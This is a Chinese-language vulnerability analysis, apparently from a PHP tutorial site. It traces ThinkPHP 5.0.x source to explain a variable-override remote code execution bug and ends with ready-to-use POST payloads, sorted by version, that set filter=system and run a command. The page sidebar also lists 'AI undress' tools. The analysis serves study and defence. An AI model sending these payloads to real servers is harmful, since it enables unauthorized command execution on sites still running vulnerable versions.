關於thinkphp5.0.X全版變數覆蓋導致的RCE分析
下面由thinkphp教學專欄為大家介紹thinkphp5.0.X全版變數覆寫導致的RCE分析，希望對需要的朋友有幫助！
簡介
#總是碰到一些thinkphp5.0.X的站點，網路搜尋漏洞利用payload會有好幾種，變數覆蓋導致的遠端程式碼執行，不同小版本之間會有些差別，例如下面幾種。
_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...
payload雖沒錯，但用得我挺懵，不知所以然。
這幾種到底有什麼差異？
各個參數的作用是什麼？
為什麼會這樣？
分析
thinkphp有兩個版本，一個是核心版，一個是完整版。簡單來講核心版不包含第三方類別庫，例如驗證碼庫（劃重點，後面會用到）。
從5.0.0說起，適用於5.0.0的程式碼執行payload長這樣
POST /thinkphp5.0.0 HTTP/1.1 _method=__construct&filter=system&a=whoami&method=GET
為什麼_method=__construct
為什麼filter=system
為什麼a=whoami## 為什麼
method=GET
public/index.php，如下。
// 定义应用目录 define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
thinkphp/start.php。
// 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
App::run()執行應用程式。 跟進
thinkphp/library/think/App.php下的run()函數。
/**
* 执行应用程序
* @access public
* @param Request $request Request对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
...
// 获取应用调度信息
$dispatch = self::$dispatch;
if (empty($dispatch)) {
// 进行URL路由检测
$dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
...
}run()函數中，會根據要求的資訊呼叫self::routeCheck()函數，進行URL路由偵測設定調度資訊並賦值給$dispatch。
/**
* URL路由检测（根据PATH_INFO)
* @access public
* @param \think\Request $request
* @param array $config
* @return array
* @throws \think\Exception
*/
public static function routeCheck($request, array $config)
{
...
// 路由检测（根据路由定义返回不同的URL调度）
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
...
return $result;
}Route::check()函數如下。
/**
* 检测URL路由
* @access public
* @param Request $request Request请求对象
* @param string $url URL地址
* @param string $depr URL分隔符
* @param bool $checkDomain 是否检测域名规则
* @return false|array
*/
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
...
$method = $request->method();
// 获取当前请求类型的路由规则
$rules = self::$rules[$method];
...$request->method()函數取得目前請求類型。
/**
* 当前的请求类型
* @access public
* @param bool $method true 获取原始请求类型
* @return string
*/
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
...
return $this->method;
}method()函數是沒有傳參的，所以這裡$method = false，進入elseif。 var_method是表單請求類型偽裝變量，可在application/config.php中看到其值為_method。
// 表单请求类型伪装变量 'var_method' => '_method',
_method參數，即可進入下面的if，會執行
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);_method來調用該類別下的任意函數。 所以
_method=__construct是為了呼叫thinkphp/library/think/Request.php下的__construct函數。要注意的是這裡同時也將Request類別下的$method的值覆寫為__construct了，這很重要，先記錄下。
method => __construct
__construct函數完成攻擊鏈，不是別的函數呢？ 跟進函數，如下。
/**
* 架构函数
* @access public
* @param array $options 参数
*/
public function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
}__construct函數的時候把$_POST陣列傳進去了，也就是會用foreach遍歷POST提交的數據，接著使用property_exists()檢測當前類別是否具有該屬性，如果存在則賦值，而$name和$item都是來自$_POST，完全可控，這裡就存在變數覆蓋的問題。 filter=system&method=GET 作用就是將目前類別下的$filter覆蓋為system,$method覆蓋為GET ，目前變數情況：
method => __construct => GET filter => system
method又覆寫一遍成GET？ ，因為前面在check()函數中有這麼兩行程式碼。
$method = $request->method(); // 获取当前请求类型的路由规则 $rules = self::$rules[$method];
method()函數中進行了變數覆蓋，$method的值為__construct。而$rules的定義如下：
private static $rules = [
'GET' => [],
'POST' => [],
'PUT' => [],
'DELETE' => [],
'PATCH' => [],
'HEAD' => [],
'OPTIONS' => [],
'*' => [],
'alias' => [],
'domain' => [],
'pattern' => [],
'name' => [],
];$method為GET、POST、PUT等等，self::$rules [$method]就為self::$rules['__construct']，程式就得報錯了嘛。
debug，則會記錄路由和請求資訊。這也是很重要的一點，先記錄。
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}$dispatch類型的不同進入switch case處理。
switch ($dispatch['type']) {
case 'redirect':
// 执行重定向跳转
$data = Response::create($dispatch['url'], 'redirect')->code($dispatch['status']);
break;
case 'module':
// 模块/控制器/操作
$data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
break;
case 'controller':
// 执行控制器操作
$data = Loader::action($dispatch['controller']);
break;
case 'method':
// 执行回调方法
$data = self::invokeMethod($dispatch['method']);
break;
case 'function':
// 执行闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response':
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}public/index.php預設呼叫的模組名稱/控制器名稱/操作名稱是/index/index/index，具體定義在application/config.php裡面。
// 默认模块名 'default_module' => 'index', // 禁止访问模块 'deny_module_list' => ['common'], // 默认控制器名 'default_controller' => 'Index', // 默认操作名 'default_action' => 'index',
因此对应的$dispatch['type']为module，会调用module()函数，经过一系列的处理后返回数据到客户端。
case 'module':
// 模块/控制器/操作
$data = self::module($dispatch['module'], $config, isset($dispatch['convert']) ? $dispatch['convert'] : null);
break;跟进module()函数，关键在invokeMethod()。
/**
* 执行模块
* @access public
* @param array $result 模块/控制器/操作
* @param array $config 配置参数
* @param bool $convert 是否自动转换控制器和操作名
* @return mixed
*/
public static function module($result, $config, $convert = null)
{
...
$data = self::invokeMethod($call);
...invokeMethod()如下，跟进bindParams()。
/**
* 调用反射执行类的方法 支持参数绑定
* @access public
* @param string|array $method 方法
* @param array $vars 变量
* @return mixed
*/
public static function invokeMethod($method, $vars = [])
{
...
$args = self::bindParams($reflect, $vars);
...
}bindParams()如下，跟进param()。
/**
* 绑定参数
* @access public
* @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
* @param array $vars 变量
* @return array
*/
private static function bindParams($reflect, $vars = [])
{
if (empty($vars)) {
// 自动获取请求变量
if (Config::get('url_param_type')) {
$vars = Request::instance()->route();
} else {
$vars = Request::instance()->param();
}
}这是关键点，param()函数是获取当前请求参数的。
/**
* 设置获取获取当前请求的参数
* @access public
* @param string|array $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function param($name = '', $default = null, $filter = null)
{
if (empty($this->param)) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->get(false), $vars, $this->route(false));
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = array_merge($this->param, $file);
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}这里又会调用method()获取当前请求方法，然后会根据请求的类型来获取参数以及合并参数，参数的来源有get[]，route[]，$_POST，那么通过可以变量覆盖传参，也可以直接POST传参。
所以以下几种方式都是一样可行的：
a=whoami aaaaa=whoami get[]=whoami route=whoami
最后调用input()函数
/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = null)
{
...
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}
...
}input()函数中会通过filterValue()函数对传入的所有参数进行过滤，这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。
/**
* 递归过滤给定的值
* @param mixed $value 键值
* @param mixed $key 键名
* @param array $filters 过滤方法+默认值
* @return mixed
*/
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
...通过call_user_func()完成任意代码执行，这也就是filter为什么要覆盖成system的原因了，覆盖成别的函数也行，想执行什么覆盖成什么。
在thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
这里多了一处判断，所以不加method=GET也不会报错，可以正常执行。
_method=__construct&filter=system&a=whoami
测试到5.0.13版本，payload打过去没有反应，为什么？
跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。
// 设置默认过滤机制
$request->filter($config['default_filter']);前面通过变量覆盖把$filter覆盖成了system，这里又把$filter给二次覆盖回去了，导致攻击链断了。
前面提到过如果开启了debug模式，很重要，为什么呢？
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}最后一句会调用param()函数，而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter，进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param()，也就是说如果开启了debug，在5.0.13开始也可以攻击，也是为什么有时候代码执行会返回两次结果的原因。
filter是在module函数中被覆盖回去的，而执行module函数是根据$dispatch的类型来决定的，那是否能不走module函数，绕过这里的覆盖呢？
在完整版的thinkphp中，有提供验证码类库，其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
其对应的dispatch类型为method，完美的避开了二次覆盖，路由限定了请求类型为get，所以在5.0.13开始，如果没有开debug，还可以调用第三方类库完成攻击链。
POST /?s=captcha _method=__construct&filter=system&method=GET&a=whoami
到5.0.21版本开始，函数method()有所改动。
通过server()函数获取请求方法，并且其中调用了input()函数。
/**
* 获取server参数
* @access public
* @param string|array $name 数据名称
* @param string $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}前面分析过了，最后代码执行是进入input()中完成的，所以只要能进入server()函数也可以造成代码执行。
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
param()函数是根据method()返回值来获取参数的，现在method()的逻辑变了，如果不传递server[REQUEST_METHOD]，返回的就是GET，阅读代码得知参数的来源有$param[]、$get[]、$route[]，还是可以通过变量覆盖来传递参数，但是就不能用之前形如a=whoami任意参数名来传递了。
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));在测试的时候发现只能通过覆盖get[]、route[]完成攻击，覆盖param[]却不行，调试后找到原因，原来是在route()函数里param[]又被二次覆盖了。
/**
* 设置获取路由参数
* @access public
* @param string|array $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function route($name = '', $default = null, $filter = '')
{
if (is_array($name)) {
$this->param = [];
return $this->route = array_merge($this->route, $name);
}
return $this->input($this->route, $name, $default, $filter);
}POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&get[]=whoami
或者
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=GET&route[]=whoami
总结
各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发
POST / HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替换成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha
POST /?s=captcha HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以换成route[]
5.0.13~5.0.23 需要开启debug
POST / HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替换成route[]
相关推荐：最新的10个thinkphp视频教程
以上是關於thinkphp5.0.X全版變數覆蓋導致的RCE分析的詳細內容。更多資訊請關注PHP中文網其他相關文章！
熱AI工具
Undresser.AI Undress
人工智慧驅動的應用程序，用於創建逼真的裸體照片
AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。
Undress AI Tool
免費脫衣圖片
Clothoff.io
AI脫衣器
Video Face Swap
使用我們完全免費的人工智慧換臉工具，輕鬆在任何影片中換臉！
熱門文章
熱工具
記事本++7.3.1
好用且免費的程式碼編輯器
SublimeText3漢化版
中文版，非常好用
禪工作室 13.0.1
強大的PHP整合開發環境
Dreamweaver CS6
視覺化網頁開發工具
SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)
